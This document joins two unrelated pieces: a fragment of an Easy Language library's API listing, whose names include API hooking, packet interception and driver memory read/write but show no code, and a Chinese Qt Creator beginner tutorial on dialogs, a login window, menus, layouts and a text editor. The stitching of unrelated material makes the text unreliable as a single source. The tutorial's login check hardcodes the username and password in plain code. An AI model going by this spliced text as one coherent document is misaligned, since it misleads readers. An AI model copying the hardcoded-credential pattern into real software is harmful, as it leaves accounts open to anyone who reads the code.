转换Ansi转Unicode1, 字节集, 公开, 将Ansi码转换为Unicode码 (返回转换后的字节集) .参数 Ansi, 文本型, , 欲转换的Ansi文本 .子程序 转换Ansi转Unicode2, 字节集, 公开, 将Ansi码转换为Unicode码 (返回转换后的字节集) .参数 欲转换的文本, 文本型 .子程序 转换ASCII转Unicode, 字节集, 公开, 将ASCII码转换为Unicode码 (返回转换后的字节集) [斩月] .参数 ASCII文本, 文本型, , 欲转换的ASCII文本 .子程序 转换Unicode转Ansi, 文本型, 公开, 将Unicode码转换为Ansi码 (返回转换后的文本) .参数 Unicode, 字节集, , 欲转换的Unicode字节集 .子程序 转换URL编码, 文本型, 公开, 将URL文本进行编码(返回编码后的文本) .参数 URL, 文本型, , 欲编码的文本 .子程序 转换URL解码, 文本型, 公开, 将URL文本进行解码(返回解码后的文本) .参数 URL, 文本型, , 欲解码的文本 .子程序 转换繁体到简体, 文本型, 公开, 将繁体中文转换成简体中文(返回转换后的简体内容) [斩月] .参数 繁体文本, 文本型, , 欲转换的文本内容 .子程序 转换简体到繁体, 文本型, 公开, 将简体中文转换成繁体中文(返回转换后的繁体内容) [斩月] .参数 简体文本, 文本型, , 欲转换的文本内容 .子程序 转换取按键码, 整数型, 公开, 取按键名的按键码(返回按键码) .参数 按键名, 文本型, , 按键名 .子程序 转换取按键名, 文本型, 公开, 取按键码的按键名(返回按键名) .参数 键代码, 整数型, , 按键码 .子程序 转换取机内码, 文本型, 公开, 例:取机内码 (“吕”) .参数 汉字, 文本型 .子程序 转换取键码, 整数型, 公开, 取指定键码的按键名(返回键名,无效返回空文本) .参数 键名, 文本型, , 欲取键码的键名(键名为按键后显示的内容 比如:A=65,a=97,$=36) .子程序 转换取键名, 文本型, 公开, 取指定按键名的键码(返回键码,无效返回零) .参数 键码, 整数型, , 欲取键名的键码(键名为按键后显示的内容 比如:A=65,a=97,$=36) .子程序 转换取区位码, 文本型, 公开, 例:取区位码 (“吕”) .参数 汉字, 文本型 .子程序 转换图像格式, 字节集, 公开, (返回转换后图像数据,失败返回空字节集) .参数 图像数据, 字节集, , 支持bmp、jpg、gif、tiff .参数 转换格式, 整数型, 可空, 转换后的图片格式。0、bmp;1、jpg;2、gif;3、tiff;4、png .全局变量 扩展菜单_主菜单, 菜单_主菜单, 公开 .全局变量 扩展菜单_子菜单, 菜单_子菜单, 公开 .全局变量 扩展操作_DLL, 操作_DLL, 公开 .全局变量 扩展操作_FTP, 操作_FTP, 公开 .全局变量 扩展操作_MIDI演奏, 操作_MIDI演奏, 公开 .全局变量 扩展操作_多媒体播放, 操作_多媒体播放, 公开 .全局变量 扩展操作_脚本控制, 操作_脚本控制, 公开 .全局变量 扩展操作_进程通信, 操作_进程通信, 公开 .全局变量 扩展操作_内存_驱动读写, 操作_内存_驱动读写, 公开 .全局变量 扩展操作_内存操作, 操作_内存操作, 公开 .全局变量 扩展操作_驱动操作, 操作_驱动操作, 公开 .全局变量 扩展操作_驱动模拟, 操作_驱动模拟, 公开 .全局变量 扩展操作_热键, 操作_热键, 公开 .全局变量 扩展操作_数据库, 操作_数据库, 公开 .全局变量 扩展操作_数据库记录集, 操作_数据库记录集, 公开 .全局变量 扩展操作_数据库连接, 操作_数据库连接, 公开 .全局变量 扩展操作_数据压缩, 操作_数据压缩, 公开 .全局变量 扩展操作_网络_服务端, 操作_网络_服务端, 公开 .全局变量 扩展操作_网络_客户端, 操作_网络_客户端, 公开 .全局变量 扩展操作_网络_数据报, 操作_网络_数据报, 公开 .全局变量 扩展操作_网络_网络通讯, 操作_网络_网络通讯, 公开 .全局变量 扩展操作_网页单选框, 操作_网页单选框, 公开 .全局变量 扩展操作_网页复选框, 操作_网页复选框, 公开 .全局变量 扩展操作_网页模拟, 操作_网页模拟, 公开 .全局变量 扩展操作_网页文档, 操作_网页文档, 公开 .全局变量 扩展操作_网页组合框, 操作_网页组合框, 公开 .全局变量 扩展操作_位图操作, 操作_位图操作, 公开 .全局变量 扩展操作_系统服务, 操作_系统服务, 公开 .全局变量 扩展操作_线程操作, 操作_线程操作, 公开 .全局变量 扩展操作_线程钩子, 操作_线程钩子, 公开 .全局变量 扩展操作_新位图操作, 操作_新位图操作, 公开 .全局变量 扩展操作_注册表, 操作_注册表, 公开 .全局变量 扩展方法_APIHOOK, 方法_APIHOOK, 公开 .全局变量 扩展方法_BASE64, 方法_BASE64, 公开 .全局变量 扩展方法_DES, 方法_DES, 公开 .全局变量 扩展方法_HOOK, 方法_HOOK, 公开 .全局变量 扩展方法_HTTP, 方法_HTTP, 公开 .全局变量 扩展方法_MD5, 方法_MD5, 公开 .全局变量 扩展方法_NTIO, 方法_NTIO, 公开 .全局变量 扩展方法_RC4, 方法_RC4, 公开 .全局变量 扩展方法_RSA, 方法_RSA, 公开 .全局变量 扩展方法_WinIo, 方法_WinIo, 公开 .全局变量 扩展方法_XML, 方法_XML, 公开 .全局变量 扩展方法_编码转换, 方法_编码转换, 公开 .全局变量 扩展方法_表达式运算, 方法_表达式运算, 公开 .全局变量 扩展方法_封包拦截, 方法_封包拦截, 公开 .全局变量 扩展方法_加密解密, 方法_加密解密, 公开 .全局变量 扩展方法_加密配置, 方法_加密配置, 公开 =================== =====================
一、Qt Creator 的安装和hello world 程序的编写(原创) 1.首先到Qt 的官方网站上下载Qt Creator,这我们下载windows 版的。 下载地址:http://qt.nokia.com/downloads 如下图我们下载:Download Qt SDK for Windows* (178Mb) 下载完成后,直接安装即可,安装过程中按默认设置即可。 2.运行Qt Creator,首先弹出的是欢迎界面,这可以打开其自带的各种演示 程序。 3.我们用File->New 菜单来新建工程。 4.这我们选择Qt4 Gui Application。 5.下面输入工程名和要保存到的文件夹路径。我们这的工程名为helloworld。 6.这软件自动添加基本的头文件,因为这个程序我们不需要其他的功能,所以 直接点击Next。 7.我们将base class 选为QDialog 对话框类。然后点击Next。 8.点击Finish,完成工程的建立。 9.我们可以看见工程中的所有文件都出现在列表中了。我们可以直接按下下面的 绿色的run 按钮或者按下Ctrl+R 快捷键运行程序。 10.程序运行会出现空白的对话框,如下图。 11.我们双击文件列表的dialog.ui 文件,便出现了下面所示的图形界面编辑界 面。 12.我们在右边的器件栏找到Label 标签器件 13.按着鼠标左键将其拖到设计窗口上,如下图。 14.我们双击它,并将其内容改为helloworld。 15.我们在右下角的属性栏将字体大小由9 改为15。 16.我们拖动标签一角的蓝点,将全部文字显示出来。 17.再次按下运行按钮,便会出现helloworld。 到这helloworld 程序便完成了。 Qt Creator 编译的程序,在其工程文件夹下会有一个debug 文件夹,其中有程序的.exe 可执行文件。但Qt Creator 默认是用动态链接的, 就是可执行程序在运行需要相应的.dll 文件。我们点击生成的.exe 文件,首 先可能显示“没有找到mingwm10.dll,因此这个应用程序未能启动。重新安装 应用程序可能会修复此问题。”表示缺少mingwm10.dll 文件。 解决这个问题我们可以将相应的.dll 文件放到系统 中。在Qt Creator 的安装目录的qt 文件下的bin 文件夹下(我安装在了D 盘, 所以路径是D:\Qt\2009.04\qt\bin),可以找到所有的相关.dll 文件。在这 找到mingwm10.dll 文件,将其复制到C:\WINDOWS\system 文件夹下,即可。下 面再提示缺少什么dll 文件,都像这样解决就可以了。 二、Qt Creator 编写多窗口程序(原创) 实现功能: 程序开始出现一个对话框,按下按钮后便能进入主窗口,如果直 接关闭这个对话框,便不能进入主窗口,整个程序也将退出。当进入主窗口后, 我们按下按钮,会弹出一个对话框,无论如何关闭这个对话框,都会回到主窗口。 实现原理: 程序我们先建立一个主工程,作为主界面,然后再建立一个对 话框类,将其加入工程中,然后在程序中调用自己新建的对话框类来实现多窗口。 实现过程: 1.首先新建Qt4 Gui Application 工程,工程名为nGui,Base class 选为QWidget。 建立好后工程文件列表如下图。 2.新建对话框类,如下图,在新建中,选择Qt Designer Form Class。 3.选择Dialog without Buttons。 4.类名设为myDlg。 5.点击Finish 完成。注意这已经默认将其加入到了我们刚建的工程中了。 6.如下图,在mydlg.ui 中拖入一个Push Button,将其上的文本改为“进入主 窗口”,在其属性窗口中将其objectName 改为enterBtn,在下面的Signals and slots editor 中进行信号和槽的关联,其中,Sender 设为enterBtn,Signal 设为clicked(),Receive 设为myDlg,Slot 设为accept()。这样就实现了单击 这个按钮使这个对话框关闭并发出Accepted 信号的功能。下面我们将利用这个 信号。 7.修改主函数main.cpp,如下: #include #include "widget.h" #include "mydlg.h" //加入头文件 int main(int argc, char *argv[]) { QApplication a(argc, argv); Widget w; myDlg my1; //建立自己新建的类的对象my1 if(my1.exec()==QDialog::Accepted) //利用Accepted 信号判 断enterBtn 是否被按下 { w.show(); //如果被按下,显示主窗口 return a.exec(); //程序一直执行,直到主窗口 关闭 } else return 0; //如果没被按下,则不会进入主窗口,整个程 序结束运行 } 主函数必须这么写,才能完成所要的功能。 如果主函数写成下面这样: #include #include "widget.h" #include "mydlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); myDlg my1; if(my1.exec()==QDialog::Accepted) { Widget w; w.show(); } return a.exec(); } 这样,因为w 是在if 语句定义的,所以当if 语句执行完后它就无效了。这样 导致的后果就是,按下enterBtn 后,主界面窗口一闪就没了。如果此对程序 改动了,再次点击运行,就会出现error: collect2: ld returned 1 exit status 的错误。这是因为虽然主窗口没有显示,但它只是隐藏了,程序并没有 结束,而是在后台运行。所以这改动程序,再运行便会出错。你可以按下调 试栏上面的红色Stop 停止按钮来停止程序运行。你也可以在windows 任务管理 器的进程中将该进程结束,而后再次运行就没问题了,当然先关闭Qt Creator, 而后再重新打开,这样也能解决问题。 如果把程序改为这样: #include #include "widget.h" #include "mydlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); myDlg my1; Widget w; if(my1.exec()==QDialog::Accepted) { w.show(); } return a.exec(); } 这样虽然解决了上面主窗口一闪而过的问题,但是,如果在my1 对话框出现的 候不点enterBtn,而是直接关闭对话框,那么此整个程序应该结束执行,但 是事实是这样的吗?如果你此对程序进行了改动,再次按下run 按钮,你会发 现又出现了error: collect2: ld returned 1 exit status 的错误,这说明程 序并没有结束,我们可以打开windows 任务管理器,可以看到我们的程序仍在执 行。 因为return a.exec();一句表示只要主窗口界面不退出,那么程 序就会一直执行。所以只有用第一种方法,将该语句也放到if 语句中,而在else 语句中用else return 0; ,这样如果enterBtn 没有被按下,那么程序就会结 束执行了。 到这,我们就实现了一个界面结束执行,然后弹出另一个 界面的程序。下面我们在主窗口上加一个按钮,按下该按钮,弹出一个对话框, 但这个对话框关闭,不会使主窗口关闭。 8.如下图,在主窗口加入按钮,显示文本为“弹出一个对话框”,在其上点击鼠 标右键,在弹出的菜单中选择go to slot。 9.我们选择单击事件clicked()。 10.我们在弹出的槽函数中添加一句: my2.show(); my2 为我们新建对话框类的另一个对象,但是my2 我们还没有定义,所以 在widget.h 文件中添加相应代码,如下,先加入头文件,再加入my2 的定义语 句,这我们将其放到private ,因为一般的函数都放在public ,而变量 都放在private 。 #ifndef WIDGET_H #define WIDGET_H #include #include "mydlg.h" //包含头文件 namespace Ui { class Widget; } class Widget : public QWidget { Q_OBJECT public: Widget(QWidget *parent = 0); ~Widget(); private: Ui::Widget *ui; myDlg my2; //对my2 进行定义 private slots: void on_pushButton_clicked(); }; #endif // WIDGET_H 到这,再运行程序,便能完成我们实验要求的功能了。整个程序,我们用两 种方法实现了信号和槽函数的关联,第一个按钮我们直接在设计器中实现其关 联;第二个按钮我们自己写了槽函数语句,其实图形的设计与直接写代码效果是 一样的。 这个程序我们实现了两类窗口打开的方式,一个是自身消失而 后打开另一个窗口,一个是打开另一个窗口而自身不消失。可以看到他们实现的 方法是不同的。 三、Qt Creator 登录对话框(原创) 实现功能: 在弹出对话框中填写用户名和密码,按下登录按钮,如果用户名和密码均正确则 进入主窗口,如果有错则弹出警告对话框。 实现原理: 通过上节的多窗口原理实现由登录对话框进入主窗口,而用户名和密码可以用 if 语句进行判断。 实现过程: 1.先新建Qt4 Gui Application 工程,工程名为mainWidget,选用QWidget 作 为Base class,这样便建立了主窗口。文件列表如下: 2.然后新建一个Qt Designer Form Class 类,类名为loginDlg,选用Dialog without Buttons,将其加入上面的工程中。文件列表如下: 3.在logindlg.ui 中设计下面的界面:行输入框为Line Edit。其中用户名后面 的输入框在属性中设置其object Name 为usrLineEdit,密码后面的输入框为 pwdLineEdit,登录按钮为loginBtn,退出按钮为exitBtn。 4.将exitBtn 的单击后效果设为退出程序,关联如下: 5.右击登录按钮选择go to slot,再选择clicked(),然后进入其单击事件的槽 函数,写入一句 void loginDlg::on_loginBtn_clicked() { accept(); } 6.改写main.cpp: #include #include "widget.h" #include "logindlg.h" int main(int argc, char *argv[]) { QApplication a(argc, argv); Widget w; loginDlg login; if(login.exec()==QDialog::Accepted) { w.show(); return a.exec(); } else return 0; } 7.这执行程序,可实现按下登录按钮进入主窗口,按下退出按钮退出程序。 8.添加用户名密码判断功能。将登陆按钮的槽函数改为: void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text()==tr("qt")&&m_ui->pwdLineEdit->text()==tr ("123456")) //判断用户名和密码是否正确 accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); //如果不正确,弹出警告对话框 } } 并在logindlg.cpp 中加入#include 的头文件。如果不加这个头文件, QMessageBox 类不可用。 9.这再执行程序,输入用户名为qt,密码为123456,按登录按钮便能进入主 窗口了,如果输入错了,就会弹出警告对话框。 如果输入错误,便会弹出警告提示框: 10.在logindlg.cpp 的loginDlg 类构造函数,添上初始化语句,使密码显示 为小黑点。 loginDlg::loginDlg(QWidget *parent) : QDialog(parent), m_ui(new Ui::loginDlg) { m_ui->setupUi(this); m_ui->pwdLineEdit->setEchoMode(QLineEdit::Password); } 效果如下: 11.如果输入如下图中的用户名,在用户名前不小心加上了一些空格,结果程序 按错误的用户名对待了。 我们可以更改if 判断语句,使这样的输入也算正确。 void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text().trimmed()==tr("qt")&&m_ui->pwdLineEdit-> text()==tr("123456")) accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); } } 加入的这个函数的作用就是移除字符串开头和结尾的空白字符。 12.最后,如果输入错误了,重新回到登录对话框,我们希望可以使用户名和 密码框清空并且光标自动跳转到用户名输入框,最终的登录按钮的单击事件的槽 函数如下: void loginDlg::on_loginBtn_clicked() { if(m_ui->usrLineEdit->text().trimmed()==tr("qt")&&m_ui->pwdLineEdit-> text()==tr("123456")) //判断用户名和密码是否正确 accept(); else{ QMessageBox::warning(this,tr("Warning"),tr("user name or password error!"),QMessageBox::Yes); //如果不正确,弹出警告对话框 m_ui->usrLineEdit->clear();//清空用户名输入框 m_ui->pwdLineEdit->clear();//清空密码输入框 m_ui->usrLineEdit->setFocus();//将光标转到用户名输入框 } } 四、Qt Creator 添加菜单图标(原创) 在下面的几节,我们讲述Qt 的MainWindow 主窗口部件。这一节只讲述怎样在其 上的菜单栏添加菜单和图标。 1.新建Qt4 Gui Application 工程,将工程命名为MainWindow,其他选项默认 即可。 生成的窗口界面如下图。其中最上面的为菜单栏。 2.我们在Type Here 那双击,并输入“文件(&F)”,这样便可将其文件菜单的 快捷键设为Alt+F。(注意括号最好用英文半角输入,这样看着美观) 3.输入完按下Enter 键确认即可,然后在子菜单中加入“新建(&N)”,确定后, 效果如下图。 4.我们在下面的动作编辑窗口可以看到新加的“新建”菜单。 5.双击这一条,可打开它的编辑对话框。我们看到Icon 项,这可以更改“新 建”菜单的图标。 6.我们点击后面的...号,进入资源选择器,但现在这面是空的。所以下面我 们需要给该工程添加外部资源。 7.添加资源有两种方法。一种是直接添加系统提供的资源文件,然后选择所需图 标。另一种是自己写资源文件。我们主要介绍第一种。新建Qt Resources file, 将它命名为menu。其他默认。 8.添加完后如下图。可以看到添加的文件为menu.qrc。 9.我们最好先在工程文件夹新建一个文件夹,如images,然后将需要的图标 文件放到其中。 10.在Qt Creator 的menu.qrc 文件中,我们点击Add 下拉框,选择Add Prefix。 我们可以将生成的/new/prefix 前缀改为其他名字,如/File。 11.然后再选择Add 下拉框,选择Add Files。再弹出的对话框中,我们到新建 的images 文件夹下,将面的图标文件全部添加过来。 12.添加完成后,我们在Qt Creator 的File 菜单选择Save All 选项,保存所 做的更改。 13.这再打开资源选择器,可以看到我们的图标都在这了。(注意:如果不显 示,可以按一下上面的Reload 按钮) 14.我们将new.png 作为“新建”菜单的图标,然后点击Shortcut,并按下 Crtl+N,便能将Crtl+N 作为“新建”菜单的快捷键。 15.这打开文件菜单,可以看到“新建”菜单已经有图标了。 运行程序后效果如下。 16.我们在工程文件夹下查看建立的menu.qrc 文件,可以用写字板将它打开。 其具体内容如下。 附:第二种添加资源文件的方法。 1.首先右击工程文件夹,在弹出的菜单中选择Add New,添加新文件。也可以用 File 中的添加新文件。 2.我们选择文本文件。 3.将文件名设置为menu.qrc。 4.添加好文件后将其内容修改如下。可以看到就是用第一种方法生成的 menu.qrc 文件的内容。 5.保存文件后,在资源管理器中可以看到添加的图标文件。 五、Qt Creator 布局管理器的使用(原创) 上篇讲解了如何在Qt Creator 中添加资源文件,并且为菜单添加了图标。这次 我们先对那个界面进行一些完善,然后讲解一些布局管理器的知识。 首先对菜单进行完善。 1.我们在上一次的基础上再加入一些常用菜单。 “文件”的子菜单如下图。中间的分割线可以点击Add Separator 添加。 “编辑”子菜单的内容如下。 “帮助”子菜单的内容如下。 2.我们在动作编辑器中对各个菜单的属性进行设置。 如下图。 3.我们拖动“新建”菜单的图标,将其放到工具栏。 拖动“新建”菜单的图标。 将其放到菜单栏下面的工具栏。 4.我们再添加其他几个图标。使用Append Separator 可以添加分割线。 5.最终效果如下。如果需要删除图标,可以在图标上点击右键选择Remove action 即可。 下面简述一下布局管理器。 (这主要以垂直布局管理器进行讲解,其他类型管理器用法与之相同,其效 果可自己验证。) 1.在左边的器件栏拖入三个PushButton 和一个Vertical Layout(垂直布局 管理器)到中心面板。如下图。 2.将这三个按钮放入垂直布局管理器,效果如下。可以看到按钮垂直方向排列, 并且宽度可以改变,但高度没有改变。 3.我们将布局管理器整体选中,按下上面工具栏的Break Layout 按钮,便可取 消布局管理器。(我们当然也可以先将按钮移出,再按下Delete 键将布局管理 器删除。) 4.下面我们改用分裂器部件(QSplitter)。 先将三个按钮同选中,再按下上面工具栏的Lay Out Vertically in Splitter (垂直分裂器)。 效果如下图。可以看到按钮的大小可以随之改动。这也就是分裂器和布局管理器 的分别。 5.其实布局管理器不但能控制器件的布局,还有个很重要的用途是,它能使器件 的大小随着窗口大小的改变而改变。 我们先在主窗口的中心拖入一个文本编辑器Text Edit。 这直接运行程序,效果如下。可以看到它的大小和位置不会随着窗口改变。 下面我们选中主窗口部件,然后在空白处点击鼠标右键,选择Layout->Lay Out in a Grid,使整个主窗口的中心区处于网格布局管理器中。 可以看到,这文本编辑器已经占据了整个主窗口的中心区。 运行一下程序,可以看到无论怎样拉伸窗口,文本编辑框的大小都会随之改变。 我们在这一共讲述了三种使用布局管理器的方法,一种是去器件栏添加,一 种是用工具栏的快捷图标,还有一种是使用鼠标右键的选项。 程序中用到的图标是我从Ubuntu 中复制的,可以到 http://www.qtcn.org/bbs/read.php?tid=23252&page=1&toread=1 下载到。 六、Qt Creator 实现文本编辑(原创) 前面已经将界面做好了,这我们为其添加代码,实现文本编辑的功能。 首先实现新建文件,文件保存,和文件另存为的功能。 (我们先将上次的工程文件夹进行备份,然后再对其进行修改。在写较大的程序 ,经常对源文件进行备份,是个很好的习惯。) 在开始正式写程序之前,我们先要考虑一下整个流程。因为我们要写记事本一 样的软件,所以最好先打开windows 中的记事本,进行一些简单的操作,然后 考虑怎样去实现这些功能。再者,再强大的软件,它的功能也是一个一个加上 去的,不要设想一下子写出所有的功能。我们这先实现新建文件,保存文件, 和文件另存为三个功能,是因为它们联系很紧,而且这三个功能总的代码量也 不是很大。 因为三个功能之间的关系并不复杂,所以我们这便不再画流程图,而只是简 单描述一下。 新建文件,那么如果有正在编辑的文件,是否需要保存呢? 如果需要进行保存,那这个文件以前保存过吗?如果没有保存过,就应该先将其 另存为。 下面开始按这些关系写程序。 1.打开Qt Creator,在File 菜单中选择Open,然后在工程文件夹中打开 MainWindow.pro 工程文件。 先在main.cpp 文件中加入以下语句,让程序中可以使用中文。 在其中加入#include 头文件包含,再在主函数中加入下面一行: QTextCodec::setCodecForTr(QTextCodec::codecForLocale()); 这样在程序中使用中文,便能在运行显示出来了。更改后文件如下图。 2.在mainwindow.h 文件中的private 下加入以下语句。 bool isSaved; //为true 标志文件已经保存,为false 标志文件尚未保存 QString curFile; //保存当前文件的文件名 void do_file_New(); //新建文件 void do_file_SaveOrNot(); //修改过的文件是否保存 void do_file_Save(); //保存文件 void do_file_SaveAs(); //文件另存为 bool saveFile(const QString& fileName); //存储文件 这些是变量和函数的声明。其中isSaved 变量起到标志的作用,用它来标志文件 是否被保存过。然后我们再在相应的源文件进行这些函数的定义。 3.在mainwindow.cpp 中先加入头文件#include ,然后在构造函数添 加以下几行代码。 isSaved = false; //初始化文件为未保存过状态 curFile = tr("未命名.txt"); //初始化文件名为“未命名.txt” setWindowTitle(curFile); //初始化主窗口的标题 这是对主窗口进行初始化。效果如下。 4.然后添加“新建”操作的函数定义。 void MainWindow::do_file_New() //实现新建文件的功能 { do_file_SaveOrNot(); isSaved = false; curFile = tr("未命名.txt"); setWindowTitle(curFile); ui->textEdit->clear(); //清空文本编辑器 ui->textEdit->setVisible(true); //文本编辑器可见 } 新建文件,先要判断正在编辑的文件是否需要保存。然后将新建的文件标志为未 保存过状态。 5.再添加do_file_SaveOrNot 函数的定义。 void MainWindow::do_file_SaveOrNot() //弹出是否保存文件对话框 { if(ui->textEdit->document()->isModified()) //如果文件被更改过,弹出保 存对话框 { QMessageBox box; box.setWindowTitle(tr("警告")); box.setIcon(QMessageBox::Warning); box.setText(curFile + tr(" 尚未保存,是否保存?")); box.setStandardButtons(QMessageBox::Yes | QMessageBox::No); if(box.exec() == QMessageBox::Yes) //如果选择保存文件,则执行保存操作 do_file_Save(); } } 这个函数实现弹出一个对话框,询问是否保存正在编辑的文件。 6.再添加“保存”操作的函数定义。 void MainWindow::do_file_Save() //保存文件 { if(isSaved){ //如果文件已经被保存过,直接保存文件 saveFile(curFile); } else{ do_file_SaveAs(); //如果文件是第一次保存,那么调用另存为 } } 对文件进行保存,先判断其是否已经被保存过,如果没有被保存过,就要先对 其进行另存为操作。 7.下面是“另存为”操作的函数定义。 void MainWindow::do_file_SaveAs() //文件另存为 { QString fileName = QFileDialog::getSaveFileName(this,tr("另存为 "),curFile); //获得文件名 if(!fileName.isEmpty()) //如果文件名不为空,则保存文件内容 { saveFile(fileName); } } 这弹出一个文件对话框,显示文件另存为的路径。 8.下面是实际文件存储操作的函数定义。 bool MainWindow::saveFile(const QString& fileName) //保存文件内容,因为可能保存失败,所以具有返回值,来表明是否保存成功 { QFile file(fileName); if(!file.open(QFile::WriteOnly | QFile::Text)) //以只写方式打开文件,如果打开失败则弹出提示框并返回 { QMessageBox::warning(this,tr("保存文件"), tr("无法保存文件 %1:\n %2").arg(fileName) .arg(file.errorString())); return false; } //%1,%2 表示后面的两个arg 参数的值 QTextStream out(&file); //新建流对象,指向选定的文件 out << ui->textEdit->toPlainText(); //将文本编辑器的内容以纯文本 的形式输出到流对象中 isSaved = true; curFile = QFileInfo(fileName).canonicalFilePath(); //获得文件的标准路 径 setWindowTitle(curFile); //将窗口名称改为现在窗口的路径 return true; } 这个函数实现将文本文件进行存储。下面我们对其中的一些代码进行讲解。 QFile file(fileName);一句,定义了一个QFile 类的对象file,其中filename 表明这个文件就是我们保存的的文件。然后我们就可以用file 代替这个文件, 来进行一些操作。Qt 中文件的操作和C,C++很相似。对于QFile 类对象怎么使 用,我们可以查看帮助。 点击Qt Creator 最左侧的Help,在其中输入QFile, 在搜索到的列表中选择QFile 即可。这在右侧会显示出QFile 类中所有相关信 息以及他们的用法和说明。 // 我们往下拉,会发现下面有关于怎么读取文件的示例代码。 // // 再往下便能看到用QTextStream 类对象,进行字符串输入的例子。下面也提到了 QFileInfo 和QDir 等相关的类,我们可以点击它们去看一下具体的使用说明。 // 上面只是做了一个简单的说明。以后我们对自己不明白的类都可以去帮助进行 查找,这也许是我们以后要做的最多的一件事了。对于其中的英文解释,我们最 好想办法弄明白它的大意,其实网上也有一些中文的翻译,但最好还是从一开始 就尝试着看英文原版的帮助,这样以后才不会对中文翻译产生依赖。 我们这次只是很简单的说明了一下怎样使用帮助文件,这不表明 它不重要,而是因为这不可能将每个类的帮助都解释一遍,没有那么多间, 也没有那么大的篇幅。而更重要的是因为,我们这个教程只是引你入门,所以很 多东西需要自己去尝试。 在以后的教程,如果不是特殊情况,就不会再对其中的类进行 详细解释,文章中的重点是对整个程序的描述,其中不明白的类,自己查看帮助。 9.双击mainwindow.ui 文件,在图形界面窗口下面的Action Editor 动作编辑 器,我们右击“新建”菜单一条,选择Go to slot,然后选择triggered(), 进入其触发事件槽函数。 同理,进入其他两个菜单的槽函数,将相应的操作的函数写入槽函数中。如下。 void MainWindow::on_action_New_triggered() //信号和槽的关联 { do_file_New(); } void MainWindow::on_action_Save_triggered() { do_file_Save(); } void MainWindow::on_action_SaveAs_triggered() { do_file_SaveAs(); } 这点击运行,就能够实现新建文件,保存文件,文件另存为的功能了。 然后实现打开,关闭,退出,撤销,复制,剪切,粘贴的功能。 先备份上次的工程文件,然后再将其打开。 1.先在mainwindow.h 文件中加入函数的声明。 void do_file_Open(); //打开文件 bool do_file_Load(const QString& fileName); //读取文件 2.再在mainwindow.cpp 文件中写函数的功能实现。 void MainWindow::do_file_Open()//打开文件 { do_file_SaveOrNot();//是否需要保存现有文件 QString fileName = QFileDialog::getOpenFileName(this); //获得要打开的文件的名字 if(!fileName.isEmpty())//如果文件名不为空 { do_file_Load(fileName); } ui->textEdit->setVisible(true);//文本编辑器可见 } bool MainWindow::do_file_Load(const QString& fileName) //读取文件 { QFile file(fileName); if(!file.open(QFile::ReadOnly | QFile::Text)) { QMessageBox::warning(this,tr("读取文件"),tr("无法读取文件 %1:\n%2.").arg(fileName).arg(file.errorString())); return false; //如果打开文件失败,弹出对话框,并返回 } QTextStream in(&file); ui->textEdit->setText(in.readAll()); //将文件中的所有内容都 写到文本编辑器中 curFile = QFileInfo(fileName).canonicalFilePath(); setWindowTitle(curFile); return true; } 上面的打开文件函数与文件另存为函数相似,读取文件的函数与文件存储函数相 似。 3.然后按顺序加入更菜单的关联函数,如下。 void MainWindow::on_action_Open_triggered() //打开操作 { do_file_Open(); } // void MainWindow::on_action_Close_triggered() //关闭操作 { do_file_SaveOrNot(); ui->textEdit->setVisible(false); } // void MainWindow::on_action_Quit_triggered() //退出操作 { on_action_Close_triggered(); //先执行关闭操作 qApp->quit(); //再退出系统,qApp 是指向应用程序的全局指针 } // void MainWindow::on_action_Undo_triggered() //撤销操作 { ui->textEdit->undo(); } // void MainWindow::on_action_Cut_triggered() //剪切操作 { ui->textEdit->cut(); } // void MainWindow::on_action_Copy_triggered() //复制操作 { ui->textEdit->copy(); } // void MainWindow::on_action_Past_triggered() //粘贴操作 { ui->textEdit->paste(); } 因为复制,撤销,全选,粘贴,剪切等功能,是TextEdit 默认就有的,所以我 们只需调用一下相应函数就行。 到这,除了查找和帮助两个菜单的功能没有加上以外,其他功能都已经实现了。 七、Qt Creator 实现文本查找(原创) 现在加上查找菜单的功能。因为这要涉及关于Qt Creator 的很多实用功能, 所以单独用一篇文章来介绍。 以前都用设计器设计界面,而这次我们用代码实现一个简单的查找对话框。对于 怎么实现查找功能的,我们详细地分步说明了怎么进行类中方法的查找和使用。 其中也将Qt Creator 智能化的代码补全功能和程序中函数的声明位置和定义位 置间的快速切换进行了介绍。 1.首先还是保存以前的工程,然后再将其打开。 我们发现Qt Creator 默认的字体有点小,可以按下Ctrl 键的同按两下+键, 来放大字体。也可以选择Edit->Advanced->Increase Font Size。 2.在mainwindow.h 中加入#include 的头文件包含,在private 中 添加 QLineEdit *find_textLineEdit; //声明一个行编辑器,用于输入要查找的内容 在private slots 中添加 void show_findText(); 在该函数中实现查找字符串的功能。 3.我们进入查找菜单的触发事件槽函数,更改如下。 void MainWindow::on_action_Find_triggered() { QDialog *findDlg = new QDialog(this); //新建一个对话框,用于查找操作,this 表明它的父窗口是MainWindow。 findDlg->setWindowTitle(tr("查找")); //设置对话框的标题 find_textLineEdit = new QLineEdit(findDlg); //将行编辑器加入到新建的查找对话框中 QPushButton *find_Btn = new QPushButton(tr("查找下一个"),findDlg); //加入一个“查找下一个”的按钮 QVBoxLayout* layout = new QVBoxLayout(findDlg); layout->addWidget(find_textLineEdit); layout->addWidget(find_Btn); //新建一个垂直布局管理器,并将行编辑器和按钮加入其中 findDlg ->show(); //显示对话框 connect(find_Btn,SIGNAL(clicked()),this,SLOT(show_findText())); //设置“查找下一个”按钮的单击事件和其槽函数的关联 } 这我们直接用代码生成了一个对话框,其中一个行编辑器可以输入要查找的字 符,一个按钮可以进行查找操作。我们将这两个部件放到了一个垂直布局管理器 中。然后显示这个对话框。并设置了那个按钮单击事件与show_findText()函数 的关联。 5.下面我们开始写实现查找功能的show_findText()函数。 void MainWindow::show_findText()//“查找下一个”按钮的槽函数 { QString findText = find_textLineEdit->text(); //获取行编辑器中的内容 } 先用一个QString 类的对象获得要查找的字符。然后我们一步一步写查找操作的 语句。 6.在下一行写下ui,然后直接按下键盘上的“<.”键,这系统会根据是否是 指针对象而自动生成“->”或“.”,因为ui 是指针对象,所以自动生成“->” 号,而且弹出了ui 中的所有部件名称的列表。如下图。 7.我们用向下的方向键选中列表中的textEdit。或者我们可以先输入text,这 能缩减列表的内容。 8.如上图我们将鼠标放到textEdit 上,这便出现了textEdit 的类名信息, 且后面出现一个F1 